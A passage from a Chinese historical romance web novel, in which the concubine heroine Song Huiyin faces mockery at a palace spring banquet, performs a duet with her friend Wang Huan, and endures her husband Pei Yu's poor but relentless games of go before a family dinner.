觥筹交错间,有人凑近平阳侯夫人耳边低语片刻,平阳夫人脸上泛起笑意,眼光略向她右侧正在浅饮小酌的苏静好,眼中泛起得意。 她扫视一圈,目光在某个不起眼的角落定住,朝身后宫婢吩咐两句,坐直身体,朝正位皇后道:“皇后殿下,妾身听闻一桩趣事,特向您求证一二。” 皇后下首第一个位置就是郑妃娘娘,郑妃娘娘看起比皇后还要年轻几岁,面容白皙,身形丰腴,唇形优美,她轻置酒盏,越过皇后开口:“说来听听。” “听说曾经名动长安的宋徽音,如今做了卫将军裴彧的妾室,不知是真还是假?” 此言一出,堂下一片热议,此起彼伏的问询纷纷而来。 “夫人此言当真?那宋徽音真的自甘堕落做了裴彧的妾?” “不能吧,宋家虽没落,可到底是地方氏族,怎会与人为妾?” “张夫人,这话也说不准,见惯了长安的繁花锦绣,谁又愿意走呢?” 皇后面上笑意变淡了两分,她并未出言阻止,任由众人议论。 平阳侯夫人笑意不停,将话锋引致默不作声的苏静好身上,“静好,你与宋徽音交好,不若你来说说,此事是真是假?” 苏静好捏着酒盏,朱唇紧缩,眼中粹冰的盯着平阳侯夫人,一言不发。 而这边,因着距离太远,徽音并未听到上首言论,只听见上头杂音嚷嚷,不知在说些什么。 身侧传来一声冷哼,她抬头望去,圆脸夫人一脸不悦的看着她,“那玉石是不是你故意留下,想害我被训斥?” 徽音手中著不停,她夹起一片炙肉放入口中,咽下后才漫不经心道:“你若不想将她人之物据为己有,何来这场训斥。” 圆脸夫人猛一拍桌,切齿道:“你就是故意的!你一小官之妻敢得罪我,你知道我是谁吗?” 她动作声响太大,引起周边夫人不悦的侧目,她连忙正襟危坐,陪笑着向各位夫人道歉。 这副模样令徽音啼笑不语,圆脸夫人听见徽音的嘲笑恶狠狠的回瞪过去,她压低声线,“我郎婿可是宗室之弟!” 徽音失笑,这春宴相当于帝后私宴,宴请的自然都是皇亲国戚,宗室又有什么稀奇。 她正要回嘴调侃她两句,眼前的帷幔风兀的被人撩起,两名宫婢立在她案前,低眉顺眼,“宋女郎,皇后请您上前一叙。” 帷幔内不知何时安静下来,连外头的乐曲之声已停歇,所有女眷视线纷纷投在她脸上,令她无所遁形。 徽音擦干净嘴角,起身随着婢女走到正正中央,裙裾飞扬间,细碎的议论声纷纷飘来。 在距离皇后三尺的地方,她停住脚步,朝上首的裴后微微屈膝行礼,“皇后殿下万安。” 皇后轻轻颚首,面露笑意:“几位娘娘和夫人许久未见你,特意招你上前叙话。” 她环视一周,准备将徽音安置在苏静好案前,睢阳公主先行开口:“母后,让徽音阿姊到我这里来坐罢。” 皇后失笑,口吻亲昵:“你这般亲徽音,不知道的还以为她是亲姊呢。” 方才还窃窃私语的声音立刻消失,皇后与睢阳公主待宋徽音如此亲近,摆满了是拿她当自家人护着,即便这群人心中如何不耻,面上绝不会显露,都是人精,自然不会留下话柄。 平阳侯夫人端起案几上的酒盏轻轻浅饮,旁若无人的同身前的夫人轻声细语,仿若方才抛出话题的并不是她。 一片寂静中,郑妃娘娘突然对着徽音发问:“听闻你做了裴彧的妾,此事是真是假?” 郑妃娘娘地位尊崇,自入宫便颇得圣宠,地位直逼皇后。郑家与裴家打擂台多年,双方都没占到什么好处。陛下宠爱她,她儿子吴王又争气,母家势大,自然不惧皇后。 徽音垂着头,眼前是郑妃娘娘鄙夷的神色以及堂下众人一脸看好戏的神情。 苏静好想出声解围,平阳侯夫人横眼过去,“静好,方才问你你不吭声,怎么,此刻又有话讲了?” 她被堵了回去,只能眼睁睁看着那些刺人的语句射向徽音。 平阳侯夫人更是出言讽刺:“簪缨世家的女郎,金尊玉贵养着大,甘愿做妾,真是败坏门风!” 徽音看着面前充满恶意的脸庞,忽然就松了口气,为妾又如何,遭受羞辱又如何,只要能为父亲翻案,为宋家报仇,旁人两句碎嘴议论又如何。 她总是下意识逃避妾的身份,可是越逃避,越不能忍受,旁人就越要拿这个身份来奚落羞辱。 与其躲避,不如坦坦荡荡面对。 “没错,我现在是裴彧的妾。”徽音当着众人讥讽的眼神,一字一句道出。 女席又安静下来,似乎没想到她会如此干脆利落的承认。 平阳侯夫人挑眉讥讽:“你还真是不知羞耻,竟半点不遮掩妾的身份。” 徽音缓缓抬眼,笑盈盈的道:“夫人大罪,竟敢辱骂妃嫔。” 平阳侯夫人一脸不悦:“你胡诌什么,我何时辱骂娘娘们了?” “皇后是唯一正妻,是国母、妃、夫人、嫔不论地位,封号多尊贵,都只是妾。您方才那话,不是在辱骂各位娘娘们吗?” 平阳侯夫人瞬间脸色大变,自知说错了话,不敢抬头去看上面几位娘娘的脸色,她委屈的跪在地上解释:“妾不是那个意思,妾说错了,求娘娘们责罚。” 郑妃娘娘黑着脸,平阳侯夫人是她嫂嫂,却是个再愚蠢不过的人,轻易就让人拿住话柄。 她最烦就是旁人提她妾的身份,时时刻刻提醒她,不管她多受陛下宠爱,只要皇后在,她就永远低一头。 她猛拍案桌,指着徽音下令:“伶牙俐齿,惯会颠倒黑白,来人……” 皇后慢悠悠道:“郑妃,不过几句口角,何必如此大动干戈。” 她向后看了一眼,大长秋姚兰会意,上前一步宣布:“午时将至,请各位娘娘,夫人们移步临水湖畔参加祓禊礼。” 等众女眷全部散去,青帐内只剩徽音和静好,她踱步上前,抬手点在徽音鼻尖,无奈道:“你呀,真是胆大,当真郑妃的面那般戳她心口子。” 徽音皱鼻:“人不犯我,我不犯人,不过是以其人之道还其人之身罢了。” 苏静好面带回忆,浅笑,“你还是和从前一样,不容旁人可欺,这样很好。” 两人相携朝临水湖畔走去,长裙曳地,相互交织。 “他待你好吗?” 徽音双手抱于腹前,将说给皇后听的说辞原封不动的讲给苏静好听,她不想让静好为她担忧。 苏静好面色娴雅,神色温柔,“那你还回荆州吗?” “有机会再回去罢。” —— 春阳煦暖,曲水汤汤。 临水湖畔旁的青庐帷帐,人影攒动,锦衣华服,兰香四溢。帝后携手站上曲江上游,将香草抛入江中。 下游处,百姓亦争相效仿,少女将五彩丝系在手腕上,孩童下水争相去捞兰草。 午时正,太祝令引巫祝十人,赤着上身,手持桃木剑与兰草束,在水畔搭起的祭坛,轻击摇铃,作祭祀舞。 徽音听见那摇铃身下意识不适,后退一步躲在苏静好身后。 宣帝以柳枝蘸水,轻拂过三公九卿,王公贵戚的头颅。女眷跪坐在锦茵上,由皇后施礼。 礼成之后,帝后带着众人移步至兰英别苑。苑中早已设下锦席,漆案,四周以素绢帷幔围合,随风轻动,恍若仙境。 宣帝带着皇后,郑妃和亲近重臣在水榭中宴饮,苏静好去寻太子赠避邪香囊,徽音独自坐在别苑亭中,欣赏游鱼跃起。 身后传来脚步声,她回头望去,是一个许久未见的故友,琅琊王氏子王寰。 来人立如青竹,眉眼温润,肤色白皙,一身青色直裾衫衬的人如颜玉,发束白玉冠,余发垂落肩背,如泼墨般柔顺,气质谦和。 “徽音。”声音清冽。 徽音并未起身,她笑意盈盈的坐在原地,轻轻拍着身边的锦席,“王郎君,坐。” 这个世上只有极少几个人能让她完全放松,透露真性情,面前的王寰算一个。她和王寰也算得上青梅竹马,不过更准确说的,他们应该算知音。 王寰跪坐在徽音身旁,长睫微垂,“你还好吗?” 徽音转头询问:你是听闻我给裴彧做妾特来安慰我的吗?” 王寰低头浅笑,他笑时,唇角的弧度温和克制,不会张扬到失了分寸,却能让人清晰感受到那份发自心底的善意。 “本来是这样打算的,但见你便不打算开口了。” 徽音轻轻点头,继续转头观望游鱼,王寰十二岁随其叔父王衡进京,世家公子,才学出众,俊朗不凡,待人接物不卑不亢,谦逊平和,惹得京中贵女争相结识。 她和王寰因乐律结识,王寰擅七琴弦,徽音擅王二十五弦瑟。一次宴席上,主家请来的乐师手掌不慎受伤,听闻徽音和王寰皆擅音律,遂请二人琴瑟合奏一曲。 余音袅袅,扣人心弦,引为一段佳话,京中其他贵族每每宴客都要邀请两人合奏,她也王寰相熟起来,互为知音。 王寰看得她不想说话,遂也不再开口,安安静静的陪着徽音观湖。 宣帝拉着裴彧喝到兴处,硬拉着他站起身要比剑,裴后在一旁无奈劝阻,宣帝不悦,正要说些什么,余光瞥见对岸亭中坐着的两人。 郎君温润如玉,矜贵从容,女郎雪肤玉貌,清灵毓秀,天造地设,宛如一对璧人。 武帝瞬间来了兴致,招来身侧的王常侍,指着亭中的两人吩咐:“王沱,你去,将那两人给朕叫过来。” 坐着其他人也纷纷望去,裴彧看着那亭中女娘身上的紫青曲裾一顿,若他没记错,宋徽音今日穿的也是这套,习武者目力比旁人要好些,他没看见那女郎的正脸,只看清了那男子的容貌,是王寰。 裴彧知道王寰,琅琊王氏子,学问出众,三年前的太学辩论上一骑绝尘进入宣帝视线,任近侍郎中,算是天子近臣。如不出意料,将来会接替他叔父尚书令的位置。 他与王寰并不相熟,只算点头之交。不过,裴彧却经常能听见王寰的美名,世人提起琅琊王寰时,总不免要提及与他齐名的宋徽音,称二人才子佳人,金玉良缘。 即便裴彧孤陋寡闻,也听过不少二人的风月传闻。两年前,京中传出王宋两家联姻的传闻,据说已经私下过了小定,却不知为何不了了之,而后便是皇后为太子择妃,看中了宋徽音。 随着二人走近,容貌也清晰起来,裴彧盯着那紫青身影看了几息,捏紧手中的杯盏。 除了太子,王寰,她还有谁? 徽音和王寰停在水榭外跪下行礼。她方才只略微扫了一眼,水榭松木为骨,青瓦为顶,四周连接木栈道,正中摆着三个尊位,宣帝携皇后和郑妃坐在上首。 这不是徽音第一次见宣帝,从前她多次出入宫廷见过宣帝,他无疑的个明主,性格并不算宽厚,在处理贪官蠹虫上杀伐果断,不好奢靡也不耽于虚功,看重稳字,沉稳的性子下也有着不容置疑的威严。 下首置数十宾客位,裴彧离帝后二人最近,他今日里层穿了件纨素中衣,外罩朱玄色织锦深衣,眉骨高挺,瞳孔是极深,带着少年人独有的亮,又藏着几分沙场磨出来的沉静。 他对面则是郑妃的兄长平阳侯,再往下就是几位宗室王爷,还有王寰的叔父尚书令王衡。 宣帝颇有趣味放下酒盏,“王寰,竟然是你,朕说怎么看着这么眼熟。你身边这位可是你心悦之人啊?” 王寰无奈,拱手行礼:“陛下,只是友人。” 宣帝一脸狭促,“是吗?这可是朕第一次见你和女郎在一起啊。” 郑妃盯了那垂头女郎片刻,忽而掩唇娇笑,“陛下,这女郎您也认识。” “朕也认识?”宣帝面露疑惑,吩咐道,“那小女郎,你抬起头来。” 徽音自知躲不过去,如果她早知道会弄成这样,她一定找个角落躲的远远的。她抬起头,“妾宋氏徽音,恭请陛下圣安。” 宣帝一顿,招手:“你上前来。” 徽音起身,提着裙摆小步走进水榭,她看见坐在宣帝下首的裴彧,想给他使个眼神求救,奈何那人自顾自的把玩酒盏,都没朝她的方向看一眼。 她跪在帝后案前,左边是裴彧,右边是平阳侯,徽音目视前方,任由众人打量。 宣帝看着徽音熟悉的眉眼,想起那个羽扇名士,目带怀恋:“是你啊,你怎么在朕的春宴上啊?” 徽音小幅度的歪头,盯着裴彧,祈祷他出来解围。她视线和裴彧相接,心中一喜,下一息,裴彧移开目光,仰头饮酒。 徽音:“……” 宣帝还在等她回话,她小声道:“回陛下,妾是跟随裴将军来的。” “裴将军,哪个裴将军?” 皇后看不下去,出声解围,“陛下,您说还有哪个裴将军,她呀,是元晞带来的。” 她怪嗔的看了眼裴彧,示意身后的姚兰上前扶起徽音落坐在裴彧身边。 宣帝看了看裴彧和徽音,又看了看水榭外的王寰,摸着须髯摇头大笑,“窈窕淑女,君子好逑。” 他向外招招手,“王寰,你也进来坐。” 宫婢在尚书令王衡身边放下一个锦席,王寰落坐后,看向斜对面的徽音和裴彧。 他们距离极近,徽音跪坐在裴彧身边替他倒酒。王寰压下心中的不适,转头和叔父王衡叙话。 徽音心中有气,故意不去看旁边的裴彧,她的裙裾与裴彧身体相接,徽音埋下头,将散落的裙裾理的整整齐齐,与裴彧泾河分明。 咚咚—— 有人敲击面前的案几,他喝了酒,嗓音带着沙哑,“倒酒。” 徽音停下动作,取过酒勺,认命的给裴彧倒酒。她凑近裴彧,耳语:“我并未得罪少将军吧。” 裴彧轻轻转头,注意她改变的称呼,她今日妆容与往常不同,眉眼映丽,唇色鲜艳。他移开眼,“为何如此问? 徽音气鼓鼓道:“你我在外一体,你方才为何不帮我解围?” 裴彧敏锐的注意到有人在盯着他们,他顺着目光抬眼望去,王寰正与身边的王衡低头交谈,见他看过来,王寰嘴角带笑,举起酒杯摇摇敬酒。 裴彧也举起酒杯还礼,他见徽音也要顺着他的方向望过去,开口截断:“那你为何与王寰在一起?” “故人相见,叙话两句而已。” 裴彧眉峰微挑:“那你故人还真是多。” 徽音不明所以,她怎么觉得这话有些阴阳怪气呢。 郑妃眼波流转艳丽逼人,她倾身靠近宣帝,娇声道:“听闻王郎君和宋女郎乃都城音律大家,王公贵戚宴席争相邀请琴瑟和奏,不知妾身今日有没有这个耳福。” 武帝也兴趣盎然:“朕也许久没听,你二人可愿合奏一曲啊?” 徽音和王寰对视一眼,一同起身行礼:“臣/妾荣幸之至。” 宫婢们动作麻利的在水榭外支起青庐,摆好锦席和矮案,点上香炉,搬来二十五弦瑟和七弦琴摆在庐中。 徽音跪坐在瑟前,广袖垂落,轻抚琴弦,她已经很久没有奏乐了,她阿母是荆州有名的才女和弦瑟大家,徽音自幼授她教导研习琴音,颇有心得。 王寰静坐在琴案前,修长手指虚按琴弦,静待徽音的开端。他们二人没有商量曲目,只一个眼神,就知道对方要奏的是什么。 苑中其余人见到这阵仗也都聚拢在水榭外,静候佳音。 铮—— 曲调悠扬,挑弦相和,七弦虽少,音却如松涛入壑,暗接余韵。瑟音如雨打芭蕉,七弦从容,疏朗清润,一密一疏,一急一缓。 一曲《鹿鸣》结束,众人听得如痴如醉,不知是谁带头鼓掌,刹那间,掌声震天,喝彩不断。 郑妃笑意盈盈:“琴瑟和鸣,如同仙乐,可惜了。” 宣帝问:“如何可惜?” 郑妃斜睨了眼裴后和裴彧,掩唇轻笑:“妾身曾经听闻王宋两家有意结为儿女亲家,不知何事耽搁,这才没成。” 宣帝笑意变淡,没有接话。 尚书令王衡拱手行礼,“都是些市井谣言,不能当真。” 郑妃还要再开口,平阳侯用眼神截住她的话音,轻轻摇头,以陛下如今对裴彧的看重,最好不要过分行事。 果不其然,宣帝吩咐身后王常侍,“等回去了,你去朕的私库挑几件玩意送去裴府,就当朕的贺礼了。” 裴彧起身谢恩,“臣谢陛下。” 武帝摆摆手,口吻亲近:“你也得注意分寸,宋氏虽好,身份不行。你的妻,可要好好挑选。” 裴后接话:“陛下放心,妾已经在替元晞相看了。” 裴彧单手搁置在矮案上支着头,看着青庐中两人异常登对的身影,耳边是众人的不绝的夸赞。 他听不懂琴音,自然也品不来,只觉得王寰温润的笑意异常刺眼—— 作者有话说:写这章的时候忘记分章节了,分开得一章一章往后挪,作者太懒了只能二合一更,有点多,请宝子们见谅[求你了] 第22章 武将和文臣你选谁?裴彧…… 回程的马车内, 徽音敏锐的感觉到裴彧沉郁的心情,他双眸紧闭,靠在黝黑的木板上, 双手垂在膝侧。 马车内部空间很大,但碍于裴彧大马金刀的坐在正中, 避免两人肢体触碰,她只能侧坐着将腿靠向门口。 徽音动了动微微发麻的腿脚,屏着呼吸偷看闭目的裴彧,他鼻梁高挺, 唇色艳丽,眼角狭长上扬, 笑起来自来风流意味。 徽音大多见他都是勾唇浅笑, 很少肆意大笑。她盯着他出了神,猝不及防听到一句问话, “你还要看多久?” 徽音视线回笼,才发觉他不知何时已经睁眼,正冷冷的望着的自己。她耳后顿时烧得慌,忙别开脸解释,“一时出神。” 她听见裴彧谈谈哼了声, 随后拿腿轻轻触碰她的膝盖, 问道:“你和王寰很熟?” 裴彧劲瘦的小腿撞击过来, 连衣摆下蒸腾的热意也一道传来。徽音背脊僵直, 不动声色的压低腿, 避开他的触碰。 “自幼相识。” 裴彧冷哼一声, 语气怪异至极,“不管你们以前是什么关系,你需记住, 你现在是我的人,莫要和旁的男人走太近。” 徽音心中默默吐槽,管的真宽!她敷衍的点点头,侧身靠在车壁上闭眼浅眠。 马车驶进内城,此处街道青砖整齐,道上连颠簸都不曾有。 裴彧似是觉得无趣,俯身拉出座板下放置的漆木棋盘摆在中央,盘腿坐下,指着棋盘询问,“对弈一局?” 徽音也不想和他大眼瞪小眼的待在车厢内,也起身整理裙摆跪坐在他对面,伸手去拿棋盒。 手底下棋盘光滑舒适,棋盘上纵横各十七道线,周边以小刀刻出花鸟纹路,棋盘四角嵌着云纹印饰。 黑先白后,二人各自从棋盒内取出相应数目的棋猜先。徽音胜出,执黑先行。裴彧手指细长,关节分明,执棋的姿势异常好看。 二人你来我往下了数十手,徽音面色越来越凝重,裴彧却单手支着下额,面色轻松。 啪嗒—— 他落下一子,下颚微抬,示意徽音落子。 棋盘上黑白交错,徽音细细端详良久,不可置信的抬头询问,“你这子确定要下这?” 裴彧懒洋洋的瞥了眼棋盘,点头,“下这。” 徽音无语片刻,抬手落下一子,胜负已分。非是势均力敌,而是惨败,白棋惨败。 她见裴彧一脸的胜券在握,猜测他棋艺高超,遂从开局就打起万分精神对待,每一手都思索良久后猜落下。 只她万万没想到,裴彧棋艺稀烂,简直就是个臭棋篓子,与他对弈无异于浪费时间。 原以为裴彧惨败,心情定然不顺,未曾想他来了兴致,拉着她一连下了两局,不出意外,他依旧惨败。 徽音已被他的棋折磨的奄奄一息,终于,在裴彧收拾完棋局拉着她再下一局时,她抗议出声:“已下了三局,不如歇歇罢?” “还未归家,再下两局。”他兴致勃勃,丝毫不觉疲累。 徽音咬牙继续道:“我有些累,不如改日再与少将军对弈?” 她话语方落,裴彧便抬头瞧着她,她才发现他眼珠色泽极深,若墨色般。 “你嫌我棋艺不好,不愿同我下?” 徽音一口气哽在喉间,她捏着手心极为诚恳,“下,猜先罢。” 日暮时分,天色将暗,马车终于抵达裴府正门,车内的徽音松了口气,看着苦思良久的裴彧小声道:“少将军,已到家,这局棋不如就此作罢?” 裴彧掀起车帘,裴府正门绢纱灯笼已经升起,他越过徽音率先下了马车,吩咐一旁的驰厌将车内的棋盘封好送去临水阁,等他忙完后接着下。 落后一步的徽音脚步一顿,险些从车辕上跌出去,她扶稳身形,望着裴彧大步离去的身形,颇未复杂的问道,“他从前也这般爱棋吗?” 驰厌也摸不着头脑,“少将军不爱下棋,从未见过啊。“ 徽音一脸不可置信,抬手的指着裴彧离去的身影,颤抖道:“那他折磨我应一个时辰是为何?” 拿她做消遣吗?! 驰厌猛的拍手叫道:“我知道了,少将军少时天资聪颖,骑马射箭无师自通,最是好胜!定是宋娘子你今日在棋盘上杀他太狠,他面上虽不说,心里肯定不得意,憋着气一雪前耻呢!” 徽音:“……”早知她就收着点了。 —— 徽音气哼哼的提着裙摆回临水阁,颜娘提着绢灯等在阁外,望见颜娘丰腴的身形,她顿时喜笑颜开,迈着碎步上去扑进颜娘怀中撒娇,“傅娘,今日累煞我了。” 颜娘手掌干燥,抚着徽音圆钝钝的脑袋心疼道:“奴婢给你备了爱吃的小食和羊奶。” 她边念叨边揽着徽音进了堂屋。堂屋两侧的落地铜台烛光摇曳,将整个堂屋照的如同白昼。 二人褪去绣履,丝织娟袜踩在红木板上,颜娘将徽音按在锦垫上,殷切的跪坐在一旁侍候倒茶。 裴夫人又给她拨来了四名粗使仆妇,她们正伏在堂屋四处清扫,或是跪地擦拭木板,或是整理散落的木册,或是杂扫胡床。 颜娘跪坐在徽音身后,将她头发披到肩侧,替揉捏筋骨放松一二,她手劲恰到好处,徽音只觉得浑身舒适,一天的疲惫满满消散。 月上枝头,徽音困意袭来,她今日晨时便起了,到了曲江宴上又不敢松懈,强撑着一日,回程的路上又叫裴彧折磨良久,早已眼皮耷笼,昏昏欲睡。 颜娘好笑的取过徽音手中的漆杯放下,扶着她的胳膊将人拉上二楼,伺候她盥洗席歇下。 徽音穿着素白里衣,伏在柔软的床榻上,颜娘手拿小木锤,轻轻敲打她的背脊和腿部。 徽音换了一面,盯着烛台喃喃道:“我今日遇见了好多熟人,睢阳公主,太子殿下,静好还有王寰,他们还和以前一样。” 颜娘听见王寰的名字手一顿,世人皆说这王寰是如玉公子,难得的佳婿,她却不喜王寰。 外人不知她可是知道的,那时徽音和王寰是都城内最相配的郎君和女郎,王宋两家本要议亲,王寰却突然反口,说只把徽音当妹妹看待,亲事便这么散了。 她也不喜背后说人长短,只闷闷道:“王郎君可还是一如往昔将你当妹妹看?” 徽音哭笑不得,她坐直身子拉住颜娘的手掌,宽慰道:“傅母,你怎还记得这旧事?” 颜娘一脸不开心,在她心中,徽音就是最好的女郎,那王寰虽好,配徽音也是差一截,他居然还拒绝亲事。 “反正奴不喜他。” 徽音解释:“傅母,你误会了。两家议亲时,王寰提前找到,问我可愿嫁他,我避而不谈,只说将他当做哥哥对待,他明白我的心意,才去长辈面前说将我当做妹妹的话。” 颜娘一脸迷茫:“竟是这样吗?” 吱呀—— 木门传来声响,二人以为是院中女婢,等了许久未见人出声,颜娘撩起帷幔绕出内室查看,徽音听见她请安的声音。 “奴婢请少将军安。” 徽音整理被褥的动作一顿,裴彧?他什么时候来,为什么没有通报,他听见她和颜娘的谈话了吗? “嗯。”裴彧应声,示意颜娘起来。 “宋氏呢?”他问。 颜娘朝内室看了一眼,没动,恭敬道:“宋娘子已经歇了,奴服侍少将军就寝罢。” “不必,你下去吧。”裴彧挥挥手,退去鞋履进了内室,坐在徽音最喜欢的矮榻上,翻阅她未看完的策论。 颜娘担忧了望着内室,关门退下。徽音静静的坐在床榻上,听着外室传来的动静,她听见翻阅竹简的声音,又等了一会,裴彧还是没有动静。 徽音也不再管他,倒在榻上,盖被睡觉,她今夜,绝对不会让出床榻。 她翻来覆去几次,认命的睁开眼,这灯火通明的内室,她实在睡不着。 徽音悄悄的起身下榻,好在帷幔都已经放下,遮挡她的身形,她只要不发出声音悄悄灭掉几盏靠近床榻的烛台就行。 徽音提起下裙,小心翼翼的靠近落地烛台,正要熄灭时,外间传来声音:“你没有做贼的天分。” 她一惊,回头望去,裴彧不知何时撩起帷幔,站在不远处瞧着她,嘴角挂着一抹她异常熟悉的嘲讽。 徽音装作没事一样熄完灯,双手放在腹前,挺直背脊:“我只是熄个灯,听不懂你说什么。” 裴彧啼笑皆非,究竟是谁在此地无银三百两三百两。他盯着宋徽音的身影,在她抬脚前率先动身,大步跨到她身侧,捏住她纤细白皙的颈脖。 他低头凑近徽音,这距离能让他看清徽音泛红的脸颊和细小的绒毛,肌肤嫩滑,异常诱人。 手下传来挣扎,裴彧将徽音向后拉,他则一屁股坐在徽音干净柔软的床榻上。 “你那点力气还是省省吧。” 徽音气的胸脯上下起伏,只差一点,她盯着裴彧欠揍的脸,一字一句:“这是我的床榻!” “妻为夫纲,这床我怎么不能睡。” “……你。”无耻,不要脸。 徽音深吸一口气,不去看裴彧那惹人生厌的脸,她默默安慰自己,人在屋檐下下不得不低头。 不就是睡地上吗,又不是第一次,她认了,等她报完仇,立马就走,耽误一息她就不信宋! 她默默出了内室,将颜娘藏在木橱里的地铺拖出来整理好,回头望去,裴彧已经躺在她的床榻上了。 裴彧刚闭眼,就听见外室“噼里叭啦”一通乱响,安静片刻后,“刺啦——”案几在地上发出刺耳的摩擦声,又片刻后,“叮叮当当”的钗环响个不停。 他下榻出了内室,徽音跪坐在铜镜前,面前摆着四五个妆奁盒,她一手一只金钗步摇,花枝乱颤的摇晃,发出烦人的声响。 他敲敲屏风,打断徽音的使坏,“不睡就继续同我把那盘棋下完。” 徽音僵直住,安静的收拾好妆奁,躺进地铺里,蒙住头,瓮声瓮气:“我要睡了。” 裴彧双手横抱,上前两步,踢踢徽音的被衾,似笑非笑:“晚了,起来。” 徽音苦着脸起身坐在棋盘前,看见那盘未下完的棋局顿时头疼欲裂,她早该明白的,裴彧此人,面上的老成持重都是装出来,实则心眼极小,报复心极强。 —— 翌日,徽音在地铺上一觉睡到辰时中,醒来时裴彧已经不在。她揉揉眼,唤人上来收拾,昨夜和裴彧下棋下到亥时未,此刻眼下青黑,脂粉都遮不住,一副被耗干的模样。 颜娘心疼的给她上妆,嘴上抱怨:“少将军也是,棋什么时候不能下,非要折腾人。” 徽音打了个哈欠,眼角不自觉沁出泪意,软软倒在颜娘怀中,闭着眼养神。 “夫人今早病大好了,趁着少将军和小郎君都休沐,她吩咐开了家宴,还有半个时辰,奴服饰您穿衣。” 徽音闭着眼仍由颜娘摆弄,颜娘心疼她疲累,今日装束一律从简,鹅黄曲裾搭配皂色腰带,发髻垂于脑后,系一根朱色飘带。 她到正阳院时,只有裴夫人和贺佳莹,见她到来,裴夫人招手示意她落座,贺佳莹一脸扭捏模样,低垂头抠着手。 徽音行完礼,打量正堂,堂内放了五张漆案,裴夫人正位,她左右两侧各两个位置,裴彧肯定是坐第一个右侧位,徽音脚下绕行,准备坐到他的斜侧方。 裴夫人忙出声:“徽音,你坐那。”她指着右侧第二个位置道。 徽音笑容僵硬,挪过去落坐。她现在实在不想看见裴彧那张脸,再遇上裴彧,她的贤良淑德可能真的就装不下去了。 裴夫人身侧的贺佳莹飞快抬头看了眼徽音,也跟着起身落坐在徽音对面。 没过多久,裴彧和裴衍也一同到来落坐,裴夫人大病初愈,脸色还是有些憔悴,但脸上笑意正隆,她朝一旁的陶媪点点头,陶媪领命出屋,带着婢女摆饭上酒。 整只用果木炭炙烤的羯羊架在正中,表面刷上肉酱、蜂蜜、香料,外焦里嫩,酥香四溢。一名婢女跪在烤羊前,麻利的用小刀剃下肉片,再由其他婢女送到五人案漆案上。 还有三道主菜,五道配菜加点心三道,浆果饮和米酒。 裴夫人吩咐:“动筷吧,家宴,无需约束。” 一般这种场合,徽音只需要埋头苦吃就行,没有她发挥的余地。她刚拿起箸,塞了一块焦香的烤羊肉进嘴,就就裴夫人一脸慈爱的看着她,“徽音,好吃吗?” 其他三人不约而同转头看向,盯着她嘴里那块还没来得及咽下的羊肉。 徽音抬手以袖遮挡面容,囫囵嚼了几口咽下去,然后才回道:“好吃。” 被四人这样盯着,她压根没尝出什么味道。 裴夫人满意的点点头,将她漆案上的烤羊肉端给身后的乔媪,吩咐乔媪将羊肉放到徽音漆案上。 “好吃你就多吃些,你前些日子受了委屈,得好好补补。” 此言一出,对面两人纷纷低下头,埋头用饭。徽音则看着身边稳坐不动的男人,她受的委屈大半源自这个男人,她默默在心中添上一句,不仅小心眼,脸皮还厚。 好在裴夫人没再关注徽音,转头提起裴衍在太学逃课一时,抓着裴衍絮絮叨叨,怒斥他良久。 徽音对案的贺佳莹频频拿眼光偷看她,每当她抬头,贺佳莹便满脸心虚的低下头。 徽音被她看烦了,索性放下箸,双手抱臂看着对面的贺佳莹。 下一瞬,贺佳莹抬头偷看她的眼神被徽音当场抓住,她狠狠瞪过去,举起拳头威胁贺佳莹。未料贺佳莹突然指着她叫起来:“你眼底青黑怎么这么重,昨晚去做贼了?” 三人又不约而同的转头望向她,徽音已经有些麻木了,坐着不动任由他们打量。裴衍也一惊一乍:“这不是青黑吧,莫不是被人揍了,都打成熊猫眼了。” 旁边传来低低的笑声,徽音看过去,裴彧单手支头望着她,阳光从帐帘缝隙漏进来,正落在他笑起时微微上翘的眼尾,那笑带着点未经修饰的野气,像个打了胜仗的少年郎。 徽音:“……”他怎么好意思笑的。 裴夫人一惊,连忙要起身查看,她身后的乔媪按住她,凑近她耳边低语看两句,裴夫人瞬间露出暧昧的笑容,和蔼的盯着徽音,斥着裴衍:“小孩子家家懂什么,吃你的饭。” 裴衍委屈的低下头,狠狠的扒着饭。唯有徽音,看着裴夫人的神色腾起一股不妙的感觉,她怎么觉得有些不对劲。 她看见裴夫人朝身后的乔媪吩咐两句,乔媪脚步欢快的退出屋,没过一会,她就端着一碗腾着热气的药汤放在徽音漆案上,嘴角笑意明显。 裴夫人道:“徽音,趁热喝,这药汤啊最是滋阴补血、益精填髓,对你身体好。” 滋阴补血,她们是不是误会了什么? 其他人还在,她也不好意思问出口,捏着鼻子咽下药汤,连舌根都发苦。 好不容易平静下来,那厢裴衍和贺佳莹斗起了嘴,徽音细听片刻,发觉他二人谈论的正是上巳节徽音与王寰合奏一事。 裴衍声音越发大了,一脸鄙夷:“那王寰就是个文弱书生,肩不能扛,手不能提,除了会些没用的琴棋书画,他还会什么? 贺佳莹回嘴反驳:“书生怎么了,书生能安邦治国!琴棋书画皆是高雅之事,你们武夫就会舞刀动枪,一点情趣都没有,哪里能聊到一去。” 两人你来我往,争执不停,只能拉着外人参战,裴衍率先求援,指着徽音询问:“徽音阿姊,你来说,是武将好还是文臣好?” 其他三人再次转向徽音,等待她的回复。 徽音:“……”没完了是吧。 她敷衍了事:“武将能臣皆有其优势,我一小小女子不敢置喙。” 裴衍着急上火:“没让你说武将和文臣谁好,你只说,武将和文臣,你选谁。不,我阿兄和王寰你选谁?” 裴衍胸有成竹一脸得意的望着贺佳莹,他赢定了,徽音阿姊一定会选他阿兄。 “文臣。” “你看吧,我就说……”裴衍后知后觉,一脸呆滞,盯着徽音不可置信,“徽音阿姊,你说什么?你选文臣?!” 徽音不再开口,旁边人的视线要将她盯穿,她默默抬手遮住一半脸颊。 贺佳莹大笑:“你看!文臣就是好。” 裴衍气不过,骂道:“你就是个墙头草,你以前还喜欢我阿兄,追在我阿兄身后跑,这么快就变心了!” “我……我那时……”贺佳莹哽住,脸颊涨得通红,难堪的低下头。 裴夫人心中一跳,侄女好不容易不提要给儿子做妾的,这小冤家,哪壶不开提哪壶,她正要出声打断。 一道清亮的声音解围:“少女慕艾知事,谁没喜欢过几个公子郎君。何况,挂在嘴边念叨的,并非就是真心实意喜欢的,女郎们多羞涩,喜欢一个人,往往是羞怯不止的。” 贺佳莹连连点头,附和道:“就是就是,我从前少不更事,将对表兄的仰慕当成了喜欢,我现在不喜欢表兄,你再乱说我跟你没完。” 贺佳莹一脸喜气洋洋,倾慕的看着徽音。徽音帮她了,是不是就是原谅她,不怪罪她了? 